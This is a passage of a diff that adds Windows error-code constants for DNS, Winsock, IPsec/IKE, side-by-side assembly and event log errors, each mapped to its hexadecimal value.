+DNS_ERROR_DS_ZONE_ALREADY_EXISTS                                         = 0x000025f6
+DNS_ERROR_NO_BOOTFILE_IF_DS_ZONE                                         = 0x000025f7
+DNS_ERROR_NODE_IS_DNAME                                                  = 0x000025f8
+DNS_ERROR_DNAME_COLLISION                                                = 0x000025f9
+DNS_ERROR_ALIAS_LOOP                                                     = 0x000025fa
+DNS_INFO_AXFR_COMPLETE                                                   = 0x00002617
+DNS_ERROR_AXFR                                                           = 0x00002618
+DNS_INFO_ADDED_LOCAL_WINS                                                = 0x00002619
+DNS_STATUS_CONTINUE_NEEDED                                               = 0x00002649
+DNS_ERROR_NO_TCPIP                                                       = 0x0000267b
+DNS_ERROR_NO_DNS_SERVERS                                                 = 0x0000267c
+DNS_ERROR_DP_DOES_NOT_EXIST                                              = 0x000026ad
+DNS_ERROR_DP_ALREADY_EXISTS                                              = 0x000026ae
+DNS_ERROR_DP_NOT_ENLISTED                                                = 0x000026af
+DNS_ERROR_DP_ALREADY_ENLISTED                                            = 0x000026b0
+DNS_ERROR_DP_NOT_AVAILABLE                                               = 0x000026b1
+DNS_ERROR_DP_FSMO_ERROR                                                  = 0x000026b2
+WSAEINTR                                                                 = 0x00002714
+WSAEBADF                                                                 = 0x00002719
+WSAEACCES                                                                = 0x0000271d
+WSAEFAULT                                                                = 0x0000271e
+WSAEINVAL                                                                = 0x00002726
+WSAEMFILE                                                                = 0x00002728
+WSAEWOULDBLOCK                                                           = 0x00002733
+WSAEINPROGRESS                                                           = 0x00002734
+WSAEALREADY                                                              = 0x00002735
+WSAENOTSOCK                                                              = 0x00002736
+WSAEDESTADDRREQ                                                          = 0x00002737
+WSAEMSGSIZE                                                              = 0x00002738
+WSAEPROTOTYPE                                                            = 0x00002739
+WSAENOPROTOOPT                                                           = 0x0000273a
+WSAEPROTONOSUPPORT                                                       = 0x0000273b
+WSAESOCKTNOSUPPORT                                                       = 0x0000273c
+WSAEOPNOTSUPP                                                            = 0x0000273d
+WSAEPFNOSUPPORT                                                          = 0x0000273e
+WSAEAFNOSUPPORT                                                          = 0x0000273f
+WSAEADDRINUSE                                                            = 0x00002740
+WSAEADDRNOTAVAIL                                                         = 0x00002741
+WSAENETDOWN                                                              = 0x00002742
+WSAENETUNREACH                                                           = 0x00002743
+WSAENETRESET                                                             = 0x00002744
+WSAECONNABORTED                                                          = 0x00002745
+WSAECONNRESET                                                            = 0x00002746
+WSAENOBUFS                                                               = 0x00002747
+WSAEISCONN                                                               = 0x00002748
+WSAENOTCONN                                                              = 0x00002749
+WSAESHUTDOWN                                                             = 0x0000274a
+WSAETOOMANYREFS                                                          = 0x0000274b
+WSAETIMEDOUT                                                             = 0x0000274c
+WSAECONNREFUSED                                                          = 0x0000274d
+WSAELOOP                                                                 = 0x0000274e
+WSAENAMETOOLONG                                                          = 0x0000274f
+WSAEHOSTDOWN                                                             = 0x00002750
+WSAEHOSTUNREACH                                                          = 0x00002751
+WSAENOTEMPTY                                                             = 0x00002752
+WSAEPROCLIM                                                              = 0x00002753
+WSAEUSERS                                                                = 0x00002754
+WSAEDQUOT                                                                = 0x00002755
+WSAESTALE                                                                = 0x00002756
+WSAEREMOTE                                                               = 0x00002757
+WSASYSNOTREADY                                                           = 0x0000276b
+WSAVERNOTSUPPORTED                                                       = 0x0000276c
+WSANOTINITIALISED                                                        = 0x0000276d
+WSAEDISCON                                                               = 0x00002775
+WSAENOMORE                                                               = 0x00002776
+WSAECANCELLED                                                            = 0x00002777
+WSAEINVALIDPROCTABLE                                                     = 0x00002778
+WSAEINVALIDPROVIDER                                                      = 0x00002779
+WSAEPROVIDERFAILEDINIT                                                   = 0x0000277a
+WSASYSCALLFAILURE                                                        = 0x0000277b
+WSASERVICE_NOT_FOUND                                                     = 0x0000277c
+WSATYPE_NOT_FOUND                                                        = 0x0000277d
+WSA_E_NO_MORE                                                            = 0x0000277e
+WSA_E_CANCELLED                                                          = 0x0000277f
+WSAEREFUSED                                                              = 0x00002780
+WSAHOST_NOT_FOUND                                                        = 0x00002af9
+WSATRY_AGAIN                                                             = 0x00002afa
+WSANO_RECOVERY                                                           = 0x00002afb
+WSANO_DATA                                                               = 0x00002afc
+WSA_QOS_RECEIVERS                                                        = 0x00002afd
+WSA_QOS_SENDERS                                                          = 0x00002afe
+WSA_QOS_NO_SENDERS                                                       = 0x00002aff
+WSA_QOS_NO_RECEIVERS                                                     = 0x00002b00
+WSA_QOS_REQUEST_CONFIRMED                                                = 0x00002b01
+WSA_QOS_ADMISSION_FAILURE                                                = 0x00002b02
+WSA_QOS_POLICY_FAILURE                                                   = 0x00002b03
+WSA_QOS_BAD_STYLE                                                        = 0x00002b04
+WSA_QOS_BAD_OBJECT                                                       = 0x00002b05
+WSA_QOS_TRAFFIC_CTRL_ERROR                                               = 0x00002b06
+WSA_QOS_GENERIC_ERROR                                                    = 0x00002b07
+WSA_QOS_ESERVICETYPE                                                     = 0x00002b08
+WSA_QOS_EFLOWSPEC                                                        = 0x00002b09
+WSA_QOS_EPROVSPECBUF                                                     = 0x00002b0a
+WSA_QOS_EFILTERSTYLE                                                     = 0x00002b0b
+WSA_QOS_EFILTERTYPE                                                      = 0x00002b0c
+WSA_QOS_EFILTERCOUNT                                                     = 0x00002b0d
+WSA_QOS_EOBJLENGTH                                                       = 0x00002b0e
+WSA_QOS_EFLOWCOUNT                                                       = 0x00002b0f
+WSA_QOS_EUNKOWNPSOBJ                                                     = 0x00002b10
+WSA_QOS_EPOLICYOBJ                                                       = 0x00002b11
+WSA_QOS_EFLOWDESC                                                        = 0x00002b12
+WSA_QOS_EPSFLOWSPEC                                                      = 0x00002b13
+WSA_QOS_EPSFILTERSPEC                                                    = 0x00002b14
+WSA_QOS_ESDMODEOBJ                                                       = 0x00002b15
+WSA_QOS_ESHAPERATEOBJ                                                    = 0x00002b16
+WSA_QOS_RESERVED_PETYPE                                                  = 0x00002b17
+WSA_SECURE_HOST_NOT_FOUND                                                = 0x00002b18
+WSA_IPSEC_NAME_POLICY_ERROR                                              = 0x00002b19
+ERROR_IPSEC_QM_POLICY_EXISTS                                             = 0x000032c8
+ERROR_IPSEC_QM_POLICY_NOT_FOUND                                          = 0x000032c9
+ERROR_IPSEC_QM_POLICY_IN_USE                                             = 0x000032ca
+ERROR_IPSEC_MM_POLICY_EXISTS                                             = 0x000032cb
+ERROR_IPSEC_MM_POLICY_NOT_FOUND                                          = 0x000032cc
+ERROR_IPSEC_MM_POLICY_IN_USE                                             = 0x000032cd
+ERROR_IPSEC_MM_FILTER_EXISTS                                             = 0x000032ce
+ERROR_IPSEC_MM_FILTER_NOT_FOUND                                          = 0x000032cf
+ERROR_IPSEC_TRANSPORT_FILTER_EXISTS                                      = 0x000032d0
+ERROR_IPSEC_TRANSPORT_FILTER_NOT_FOUND                                   = 0x000032d1
+ERROR_IPSEC_MM_AUTH_EXISTS                                               = 0x000032d2
+ERROR_IPSEC_MM_AUTH_NOT_FOUND                                            = 0x000032d3
+ERROR_IPSEC_MM_AUTH_IN_USE                                               = 0x000032d4
+ERROR_IPSEC_DEFAULT_MM_POLICY_NOT_FOUND                                  = 0x000032d5
+ERROR_IPSEC_DEFAULT_MM_AUTH_NOT_FOUND                                    = 0x000032d6
+ERROR_IPSEC_DEFAULT_QM_POLICY_NOT_FOUND                                  = 0x000032d7
+ERROR_IPSEC_TUNNEL_FILTER_EXISTS                                         = 0x000032d8
+ERROR_IPSEC_TUNNEL_FILTER_NOT_FOUND                                      = 0x000032d9
+ERROR_IPSEC_MM_FILTER_PENDING_DELETION                                   = 0x000032da
+ERROR_IPSEC_TRANSPORT_FILTER_PENDING_DELETION                            = 0x000032db
+ERROR_IPSEC_TUNNEL_FILTER_PENDING_DELETION                               = 0x000032dc
+ERROR_IPSEC_MM_POLICY_PENDING_DELETION                                   = 0x000032dd
+ERROR_IPSEC_MM_AUTH_PENDING_DELETION                                     = 0x000032de
+ERROR_IPSEC_QM_POLICY_PENDING_DELETION                                   = 0x000032df
+WARNING_IPSEC_MM_POLICY_PRUNED                                           = 0x000032e0
+WARNING_IPSEC_QM_POLICY_PRUNED                                           = 0x000032e1
+ERROR_IPSEC_IKE_NEG_STATUS_BEGIN                                         = 0x000035e8
+ERROR_IPSEC_IKE_AUTH_FAIL                                                = 0x000035e9
+ERROR_IPSEC_IKE_ATTRIB_FAIL                                              = 0x000035ea
+ERROR_IPSEC_IKE_NEGOTIATION_PENDING                                      = 0x000035eb
+ERROR_IPSEC_IKE_GENERAL_PROCESSING_ERROR                                 = 0x000035ec
+ERROR_IPSEC_IKE_TIMED_OUT                                                = 0x000035ed
+ERROR_IPSEC_IKE_NO_CERT                                                  = 0x000035ee
+ERROR_IPSEC_IKE_SA_DELETED                                               = 0x000035ef
+ERROR_IPSEC_IKE_SA_REAPED                                                = 0x000035f0
+ERROR_IPSEC_IKE_MM_ACQUIRE_DROP                                          = 0x000035f1
+ERROR_IPSEC_IKE_QM_ACQUIRE_DROP                                          = 0x000035f2
+ERROR_IPSEC_IKE_QUEUE_DROP_MM                                            = 0x000035f3
+ERROR_IPSEC_IKE_QUEUE_DROP_NO_MM                                         = 0x000035f4
+ERROR_IPSEC_IKE_DROP_NO_RESPONSE                                         = 0x000035f5
+ERROR_IPSEC_IKE_MM_DELAY_DROP                                            = 0x000035f6
+ERROR_IPSEC_IKE_QM_DELAY_DROP                                            = 0x000035f7
+ERROR_IPSEC_IKE_ERROR                                                    = 0x000035f8
+ERROR_IPSEC_IKE_CRL_FAILED                                               = 0x000035f9
+ERROR_IPSEC_IKE_INVALID_KEY_USAGE                                        = 0x000035fa
+ERROR_IPSEC_IKE_INVALID_CERT_TYPE                                        = 0x000035fb
+ERROR_IPSEC_IKE_NO_PRIVATE_KEY                                           = 0x000035fc
+ERROR_IPSEC_IKE_SIMULTANEOUS_REKEY                                       = 0x000035fd
+ERROR_IPSEC_IKE_DH_FAIL                                                  = 0x000035fe
+ERROR_IPSEC_IKE_CRITICAL_PAYLOAD_NOT_RECOGNIZED                          = 0x000035ff
+ERROR_IPSEC_IKE_INVALID_HEADER                                           = 0x00003600
+ERROR_IPSEC_IKE_NO_POLICY                                                = 0x00003601
+ERROR_IPSEC_IKE_INVALID_SIGNATURE                                        = 0x00003602
+ERROR_IPSEC_IKE_KERBEROS_ERROR                                           = 0x00003603
+ERROR_IPSEC_IKE_NO_PUBLIC_KEY                                            = 0x00003604
+ERROR_IPSEC_IKE_PROCESS_ERR                                              = 0x00003605
+ERROR_IPSEC_IKE_PROCESS_ERR_SA                                           = 0x00003606
+ERROR_IPSEC_IKE_PROCESS_ERR_PROP                                         = 0x00003607
+ERROR_IPSEC_IKE_PROCESS_ERR_TRANS                                        = 0x00003608
+ERROR_IPSEC_IKE_PROCESS_ERR_KE                                           = 0x00003609
+ERROR_IPSEC_IKE_PROCESS_ERR_ID                                           = 0x0000360a
+ERROR_IPSEC_IKE_PROCESS_ERR_CERT                                         = 0x0000360b
+ERROR_IPSEC_IKE_PROCESS_ERR_CERT_REQ                                     = 0x0000360c
+ERROR_IPSEC_IKE_PROCESS_ERR_HASH                                         = 0x0000360d
+ERROR_IPSEC_IKE_PROCESS_ERR_SIG                                          = 0x0000360e
+ERROR_IPSEC_IKE_PROCESS_ERR_NONCE                                        = 0x0000360f
+ERROR_IPSEC_IKE_PROCESS_ERR_NOTIFY                                       = 0x00003610
+ERROR_IPSEC_IKE_PROCESS_ERR_DELETE                                       = 0x00003611
+ERROR_IPSEC_IKE_PROCESS_ERR_VENDOR                                       = 0x00003612
+ERROR_IPSEC_IKE_INVALID_PAYLOAD                                          = 0x00003613
+ERROR_IPSEC_IKE_LOAD_SOFT_SA                                             = 0x00003614
+ERROR_IPSEC_IKE_SOFT_SA_TORN_DOWN                                        = 0x00003615
+ERROR_IPSEC_IKE_INVALID_COOKIE                                           = 0x00003616
+ERROR_IPSEC_IKE_NO_PEER_CERT                                             = 0x00003617
+ERROR_IPSEC_IKE_PEER_CRL_FAILED                                          = 0x00003618
+ERROR_IPSEC_IKE_POLICY_CHANGE                                            = 0x00003619
+ERROR_IPSEC_IKE_NO_MM_POLICY                                             = 0x0000361a
+ERROR_IPSEC_IKE_NOTCBPRIV                                                = 0x0000361b
+ERROR_IPSEC_IKE_SECLOADFAIL                                              = 0x0000361c
+ERROR_IPSEC_IKE_FAILSSPINIT                                              = 0x0000361d
+ERROR_IPSEC_IKE_FAILQUERYSSP                                             = 0x0000361e
+ERROR_IPSEC_IKE_SRVACQFAIL                                               = 0x0000361f
+ERROR_IPSEC_IKE_SRVQUERYCRED                                             = 0x00003620
+ERROR_IPSEC_IKE_GETSPIFAIL                                               = 0x00003621
+ERROR_IPSEC_IKE_INVALID_FILTER                                           = 0x00003622
+ERROR_IPSEC_IKE_OUT_OF_MEMORY                                            = 0x00003623
+ERROR_IPSEC_IKE_ADD_UPDATE_KEY_FAILED                                    = 0x00003624
+ERROR_IPSEC_IKE_INVALID_POLICY                                           = 0x00003625
+ERROR_IPSEC_IKE_UNKNOWN_DOI                                              = 0x00003626
+ERROR_IPSEC_IKE_INVALID_SITUATION                                        = 0x00003627
+ERROR_IPSEC_IKE_DH_FAILURE                                               = 0x00003628
+ERROR_IPSEC_IKE_INVALID_GROUP                                            = 0x00003629
+ERROR_IPSEC_IKE_ENCRYPT                                                  = 0x0000362a
+ERROR_IPSEC_IKE_DECRYPT                                                  = 0x0000362b
+ERROR_IPSEC_IKE_POLICY_MATCH                                             = 0x0000362c
+ERROR_IPSEC_IKE_UNSUPPORTED_ID                                           = 0x0000362d
+ERROR_IPSEC_IKE_INVALID_HASH                                             = 0x0000362e
+ERROR_IPSEC_IKE_INVALID_HASH_ALG                                         = 0x0000362f
+ERROR_IPSEC_IKE_INVALID_HASH_SIZE                                        = 0x00003630
+ERROR_IPSEC_IKE_INVALID_ENCRYPT_ALG                                      = 0x00003631
+ERROR_IPSEC_IKE_INVALID_AUTH_ALG                                         = 0x00003632
+ERROR_IPSEC_IKE_INVALID_SIG                                              = 0x00003633
+ERROR_IPSEC_IKE_LOAD_FAILED                                              = 0x00003634
+ERROR_IPSEC_IKE_RPC_DELETE                                               = 0x00003635
+ERROR_IPSEC_IKE_BENIGN_REINIT                                            = 0x00003636
+ERROR_IPSEC_IKE_INVALID_RESPONDER_LIFETIME_NOTIFY                        = 0x00003637
+ERROR_IPSEC_IKE_INVALID_MAJOR_VERSION                                    = 0x00003638
+ERROR_IPSEC_IKE_INVALID_CERT_KEYLEN                                      = 0x00003639
+ERROR_IPSEC_IKE_MM_LIMIT                                                 = 0x0000363a
+ERROR_IPSEC_IKE_NEGOTIATION_DISABLED                                     = 0x0000363b
+ERROR_IPSEC_IKE_QM_LIMIT                                                 = 0x0000363c
+ERROR_IPSEC_IKE_MM_EXPIRED                                               = 0x0000363d
+ERROR_IPSEC_IKE_PEER_MM_ASSUMED_INVALID                                  = 0x0000363e
+ERROR_IPSEC_IKE_CERT_CHAIN_POLICY_MISMATCH                               = 0x0000363f
+ERROR_IPSEC_IKE_UNEXPECTED_MESSAGE_ID                                    = 0x00003640
+ERROR_IPSEC_IKE_INVALID_AUTH_PAYLOAD                                     = 0x00003641
+ERROR_IPSEC_IKE_DOS_COOKIE_SENT                                          = 0x00003642
+ERROR_IPSEC_IKE_SHUTTING_DOWN                                            = 0x00003643
+ERROR_IPSEC_IKE_CGA_AUTH_FAILED                                          = 0x00003644
+ERROR_IPSEC_IKE_PROCESS_ERR_NATOA                                        = 0x00003645
+ERROR_IPSEC_IKE_INVALID_MM_FOR_QM                                        = 0x00003646
+ERROR_IPSEC_IKE_QM_EXPIRED                                               = 0x00003647
+ERROR_IPSEC_IKE_TOO_MANY_FILTERS                                         = 0x00003648
+ERROR_IPSEC_IKE_NEG_STATUS_END                                           = 0x00003649
+ERROR_IPSEC_IKE_KILL_DUMMY_NAP_TUNNEL                                    = 0x0000364a
+ERROR_IPSEC_IKE_INNER_IP_ASSIGNMENT_FAILURE                              = 0x0000364b
+ERROR_IPSEC_IKE_REQUIRE_CP_PAYLOAD_MISSING                               = 0x0000364c
+ERROR_IPSEC_KEY_MODULE_IMPERSONATION_NEGOTIATION_PENDING                 = 0x0000364d
+ERROR_IPSEC_IKE_COEXISTENCE_SUPPRESS                                     = 0x0000364e
+ERROR_IPSEC_IKE_RATELIMIT_DROP                                           = 0x0000364f
+ERROR_IPSEC_IKE_PEER_DOESNT_SUPPORT_MOBIKE                               = 0x00003650
+ERROR_IPSEC_IKE_AUTHORIZATION_FAILURE                                    = 0x00003651
+ERROR_IPSEC_IKE_STRONG_CRED_AUTHORIZATION_FAILURE                        = 0x00003652
+ERROR_IPSEC_IKE_AUTHORIZATION_FAILURE_WITH_OPTIONAL_RETRY                = 0x00003653
+ERROR_IPSEC_IKE_STRONG_CRED_AUTHORIZATION_AND_CERTMAP_FAILURE            = 0x00003654
+ERROR_IPSEC_IKE_NEG_STATUS_EXTENDED_END                                  = 0x00003655
+ERROR_IPSEC_BAD_SPI                                                      = 0x00003656
+ERROR_IPSEC_SA_LIFETIME_EXPIRED                                          = 0x00003657
+ERROR_IPSEC_WRONG_SA                                                     = 0x00003658
+ERROR_IPSEC_REPLAY_CHECK_FAILED                                          = 0x00003659
+ERROR_IPSEC_INVALID_PACKET                                               = 0x0000365a
+ERROR_IPSEC_INTEGRITY_CHECK_FAILED                                       = 0x0000365b
+ERROR_IPSEC_CLEAR_TEXT_DROP                                              = 0x0000365c
+ERROR_IPSEC_AUTH_FIREWALL_DROP                                           = 0x0000365d
+ERROR_IPSEC_THROTTLE_DROP                                                = 0x0000365e
+ERROR_IPSEC_DOSP_BLOCK                                                   = 0x00003665
+ERROR_IPSEC_DOSP_RECEIVED_MULTICAST                                      = 0x00003666
+ERROR_IPSEC_DOSP_INVALID_PACKET                                          = 0x00003667
+ERROR_IPSEC_DOSP_STATE_LOOKUP_FAILED                                     = 0x00003668
+ERROR_IPSEC_DOSP_MAX_ENTRIES                                             = 0x00003669
+ERROR_IPSEC_DOSP_KEYMOD_NOT_ALLOWED                                      = 0x0000366a
+ERROR_IPSEC_DOSP_NOT_INSTALLED                                           = 0x0000366b
+ERROR_IPSEC_DOSP_MAX_PER_IP_RATELIMIT_QUEUES                             = 0x0000366c
+ERROR_SXS_SECTION_NOT_FOUND                                              = 0x000036b0
+ERROR_SXS_CANT_GEN_ACTCTX                                                = 0x000036b1
+ERROR_SXS_INVALID_ACTCTXDATA_FORMAT                                      = 0x000036b2
+ERROR_SXS_ASSEMBLY_NOT_FOUND                                             = 0x000036b3
+ERROR_SXS_MANIFEST_FORMAT_ERROR                                          = 0x000036b4
+ERROR_SXS_MANIFEST_PARSE_ERROR                                           = 0x000036b5
+ERROR_SXS_ACTIVATION_CONTEXT_DISABLED                                    = 0x000036b6
+ERROR_SXS_KEY_NOT_FOUND                                                  = 0x000036b7
+ERROR_SXS_VERSION_CONFLICT                                               = 0x000036b8
+ERROR_SXS_WRONG_SECTION_TYPE                                             = 0x000036b9
+ERROR_SXS_THREAD_QUERIES_DISABLED                                        = 0x000036ba
+ERROR_SXS_PROCESS_DEFAULT_ALREADY_SET                                    = 0x000036bb
+ERROR_SXS_UNKNOWN_ENCODING_GROUP                                         = 0x000036bc
+ERROR_SXS_UNKNOWN_ENCODING                                               = 0x000036bd
+ERROR_SXS_INVALID_XML_NAMESPACE_URI                                      = 0x000036be
+ERROR_SXS_ROOT_MANIFEST_DEPENDENCY_NOT_INSTALLED                         = 0x000036bf
+ERROR_SXS_LEAF_MANIFEST_DEPENDENCY_NOT_INSTALLED                         = 0x000036c0
+ERROR_SXS_INVALID_ASSEMBLY_IDENTITY_ATTRIBUTE                            = 0x000036c1
+ERROR_SXS_MANIFEST_MISSING_REQUIRED_DEFAULT_NAMESPACE                    = 0x000036c2
+ERROR_SXS_MANIFEST_INVALID_REQUIRED_DEFAULT_NAMESPACE                    = 0x000036c3
+ERROR_SXS_PRIVATE_MANIFEST_CROSS_PATH_WITH_REPARSE_POINT                 = 0x000036c4
+ERROR_SXS_DUPLICATE_DLL_NAME                                             = 0x000036c5
+ERROR_SXS_DUPLICATE_WINDOWCLASS_NAME                                     = 0x000036c6
+ERROR_SXS_DUPLICATE_CLSID                                                = 0x000036c7
+ERROR_SXS_DUPLICATE_IID                                                  = 0x000036c8
+ERROR_SXS_DUPLICATE_TLBID                                                = 0x000036c9
+ERROR_SXS_DUPLICATE_PROGID                                               = 0x000036ca
+ERROR_SXS_DUPLICATE_ASSEMBLY_NAME                                        = 0x000036cb
+ERROR_SXS_FILE_HASH_MISMATCH                                             = 0x000036cc
+ERROR_SXS_POLICY_PARSE_ERROR                                             = 0x000036cd
+ERROR_SXS_XML_E_MISSINGQUOTE                                             = 0x000036ce
+ERROR_SXS_XML_E_COMMENTSYNTAX                                            = 0x000036cf
+ERROR_SXS_XML_E_BADSTARTNAMECHAR                                         = 0x000036d0
+ERROR_SXS_XML_E_BADNAMECHAR                                              = 0x000036d1
+ERROR_SXS_XML_E_BADCHARINSTRING                                          = 0x000036d2
+ERROR_SXS_XML_E_XMLDECLSYNTAX                                            = 0x000036d3
+ERROR_SXS_XML_E_BADCHARDATA                                              = 0x000036d4
+ERROR_SXS_XML_E_MISSINGWHITESPACE                                        = 0x000036d5
+ERROR_SXS_XML_E_EXPECTINGTAGEND                                          = 0x000036d6
+ERROR_SXS_XML_E_MISSINGSEMICOLON                                         = 0x000036d7
+ERROR_SXS_XML_E_UNBALANCEDPAREN                                          = 0x000036d8
+ERROR_SXS_XML_E_INTERNALERROR                                            = 0x000036d9
+ERROR_SXS_XML_E_UNEXPECTED_WHITESPACE                                    = 0x000036da
+ERROR_SXS_XML_E_INCOMPLETE_ENCODING                                      = 0x000036db
+ERROR_SXS_XML_E_MISSING_PAREN                                            = 0x000036dc
+ERROR_SXS_XML_E_EXPECTINGCLOSEQUOTE                                      = 0x000036dd
+ERROR_SXS_XML_E_MULTIPLE_COLONS                                          = 0x000036de
+ERROR_SXS_XML_E_INVALID_DECIMAL                                          = 0x000036df
+ERROR_SXS_XML_E_INVALID_HEXIDECIMAL                                      = 0x000036e0
+ERROR_SXS_XML_E_INVALID_UNICODE                                          = 0x000036e1
+ERROR_SXS_XML_E_WHITESPACEORQUESTIONMARK                                 = 0x000036e2
+ERROR_SXS_XML_E_UNEXPECTEDENDTAG                                         = 0x000036e3
+ERROR_SXS_XML_E_UNCLOSEDTAG                                              = 0x000036e4
+ERROR_SXS_XML_E_DUPLICATEATTRIBUTE                                       = 0x000036e5
+ERROR_SXS_XML_E_MULTIPLEROOTS                                            = 0x000036e6
+ERROR_SXS_XML_E_INVALIDATROOTLEVEL                                       = 0x000036e7
+ERROR_SXS_XML_E_BADXMLDECL                                               = 0x000036e8
+ERROR_SXS_XML_E_MISSINGROOT                                              = 0x000036e9
+ERROR_SXS_XML_E_UNEXPECTEDEOF                                            = 0x000036ea
+ERROR_SXS_XML_E_BADPEREFINSUBSET                                         = 0x000036eb
+ERROR_SXS_XML_E_UNCLOSEDSTARTTAG                                         = 0x000036ec
+ERROR_SXS_XML_E_UNCLOSEDENDTAG                                           = 0x000036ed
+ERROR_SXS_XML_E_UNCLOSEDSTRING                                           = 0x000036ee
+ERROR_SXS_XML_E_UNCLOSEDCOMMENT                                          = 0x000036ef
+ERROR_SXS_XML_E_UNCLOSEDDECL                                             = 0x000036f0
+ERROR_SXS_XML_E_UNCLOSEDCDATA                                            = 0x000036f1
+ERROR_SXS_XML_E_RESERVEDNAMESPACE                                        = 0x000036f2
+ERROR_SXS_XML_E_INVALIDENCODING                                          = 0x000036f3
+ERROR_SXS_XML_E_INVALIDSWITCH                                            = 0x000036f4
+ERROR_SXS_XML_E_BADXMLCASE                                               = 0x000036f5
+ERROR_SXS_XML_E_INVALID_STANDALONE                                       = 0x000036f6
+ERROR_SXS_XML_E_UNEXPECTED_STANDALONE                                    = 0x000036f7
+ERROR_SXS_XML_E_INVALID_VERSION                                          = 0x000036f8
+ERROR_SXS_XML_E_MISSINGEQUALS                                            = 0x000036f9
+ERROR_SXS_PROTECTION_RECOVERY_FAILED                                     = 0x000036fa
+ERROR_SXS_PROTECTION_PUBLIC_KEY_TOO_SHORT                                = 0x000036fb
+ERROR_SXS_PROTECTION_CATALOG_NOT_VALID                                   = 0x000036fc
+ERROR_SXS_UNTRANSLATABLE_HRESULT                                         = 0x000036fd
+ERROR_SXS_PROTECTION_CATALOG_FILE_MISSING                                = 0x000036fe
+ERROR_SXS_MISSING_ASSEMBLY_IDENTITY_ATTRIBUTE                            = 0x000036ff
+ERROR_SXS_INVALID_ASSEMBLY_IDENTITY_ATTRIBUTE_NAME                       = 0x00003700
+ERROR_SXS_ASSEMBLY_MISSING                                               = 0x00003701
+ERROR_SXS_CORRUPT_ACTIVATION_STACK                                       = 0x00003702
+ERROR_SXS_CORRUPTION                                                     = 0x00003703
+ERROR_SXS_EARLY_DEACTIVATION                                             = 0x00003704
+ERROR_SXS_INVALID_DEACTIVATION                                           = 0x00003705
+ERROR_SXS_MULTIPLE_DEACTIVATION                                          = 0x00003706
+ERROR_SXS_PROCESS_TERMINATION_REQUESTED                                  = 0x00003707
+ERROR_SXS_RELEASE_ACTIVATION_CONTEXT                                     = 0x00003708
+ERROR_SXS_SYSTEM_DEFAULT_ACTIVATION_CONTEXT_EMPTY                        = 0x00003709
+ERROR_SXS_INVALID_IDENTITY_ATTRIBUTE_VALUE                               = 0x0000370a
+ERROR_SXS_INVALID_IDENTITY_ATTRIBUTE_NAME                                = 0x0000370b
+ERROR_SXS_IDENTITY_DUPLICATE_ATTRIBUTE                                   = 0x0000370c
+ERROR_SXS_IDENTITY_PARSE_ERROR                                           = 0x0000370d
+ERROR_MALFORMED_SUBSTITUTION_STRING                                      = 0x0000370e
+ERROR_SXS_INCORRECT_PUBLIC_KEY_TOKEN                                     = 0x0000370f
+ERROR_UNMAPPED_SUBSTITUTION_STRING                                       = 0x00003710
+ERROR_SXS_ASSEMBLY_NOT_LOCKED                                            = 0x00003711
+ERROR_SXS_COMPONENT_STORE_CORRUPT                                        = 0x00003712
+ERROR_ADVANCED_INSTALLER_FAILED                                          = 0x00003713
+ERROR_XML_ENCODING_MISMATCH                                              = 0x00003714
+ERROR_SXS_MANIFEST_IDENTITY_SAME_BUT_CONTENTS_DIFFERENT                  = 0x00003715
+ERROR_SXS_IDENTITIES_DIFFERENT                                           = 0x00003716
+ERROR_SXS_ASSEMBLY_IS_NOT_A_DEPLOYMENT                                   = 0x00003717
+ERROR_SXS_FILE_NOT_PART_OF_ASSEMBLY                                      = 0x00003718
+ERROR_SXS_MANIFEST_TOO_BIG                                               = 0x00003719
+ERROR_SXS_SETTING_NOT_REGISTERED                                         = 0x0000371a
+ERROR_SXS_TRANSACTION_CLOSURE_INCOMPLETE                                 = 0x0000371b
+ERROR_SMI_PRIMITIVE_INSTALLER_FAILED                                     = 0x0000371c
+ERROR_GENERIC_COMMAND_FAILED                                             = 0x0000371d
+ERROR_SXS_FILE_HASH_MISSING                                              = 0x0000371e
+ERROR_EVT_INVALID_CHANNEL_PATH                                           = 0x00003a98
+ERROR_EVT_INVALID_QUERY                                                  = 0x00003a99
+ERROR_EVT_PUBLISHER_METADATA_NOT_FOUND                                   = 0x00003a9a
+ERROR_EVT_EVENT_TEMPLATE_NOT_FOUND                                       = 0x00003a9b
+ERROR_EVT_INVALID_PUBLISHER_NAME                                         = 0x00003a9c
+ERROR_EVT_INVALID_EVENT_DATA                                             = 0x00003a9d
+ERROR_EVT_CHANNEL_NOT_FOUND                                              = 0x00003a9f
+ERROR_EVT_MALFORMED_XML_TEXT                                             = 0x00003aa0
+ERROR_EVT_SUBSCRIPTION_TO_DIRECT_CHANNEL                                 = 0x00003aa1
+ERROR_EVT_CONFIGURATION_ERROR                                            = 0x00003aa2
+ERROR_EVT_QUERY_RESULT_STALE                                             = 0x00003aa3
+ERROR_EVT_QUERY_RESULT_INVALID_POSITION                                  = 0x00003aa4
+ERROR_EVT_NON_VALIDATING_MSXML                                           = 0x00003aa5
+ERROR_EVT_FILTER_ALREADYSCOPED                                           = 0x00003aa6
+ERROR_EVT_FILTER_NOTELTSET                                               = 0x00003aa7
+ERROR_EVT_FILTER_INVARG                                                  = 0x00003aa8
+ERROR_EVT_FILTER_INVTEST                                                 = 0x00003aa9
+ERROR_EVT_FILTER_INVTYPE                                                 = 0x00003aaa
+ERROR_EVT_FILTER_PARSEERR                                                = 0x00003aab
+ERROR_EVT_FILTER_UNSUPPORTEDOP                                           = 0x00003aac
+ERROR_EVT_FILTER_UNEXPECTEDTOKEN                                         = 0x00003aad
+ERROR_EVT_INVALID_OPERATION_OVER_ENABLED_DIRECT_CHANNEL                  = 0x00003aae
+ERROR_EVT_INVALID_CHANNEL_PROPERTY_VALUE                                 = 0x00003aaf
+ERROR_EVT_INVALID_PUBLISHER_PROPERTY_VALUE                               = 0x00003ab0
+ERROR_EVT_CHANNEL_CANNOT_ACTIVATE                                        = 0x00003ab1
+ERROR_EVT_FILTER_TOO_COMPLEX                                             = 0x00003ab2
+ERROR_EVT_MESSAGE_NOT_FOUND                                              = 0x00003ab3
+ERROR_EVT_MESSAGE_ID_NOT_FOUND                                           = 0x00003ab4
+ERROR_EVT_UNRESOLVED_VALUE_INSERT                                        = 0x00003ab5
+ERROR_EVT_UNRESOLVED_PARAMETER_INSERT                                    = 0x00003ab6
+ERROR_EVT_MAX_INSERTS_REACHED                                            = 0x00003ab7
+ERROR_EVT_EVENT_DEFINITION_NOT_FOUND                                     = 0x00003ab8
+ERROR_EVT_MESSAGE_LOCALE_NOT_FOUND                                       = 0x00003ab9
+ERROR_EVT_VERSION_TOO_OLD                                                = 0x00003aba
+ERROR_EVT_VERSION_TOO_NEW                                                = 0x00003abb
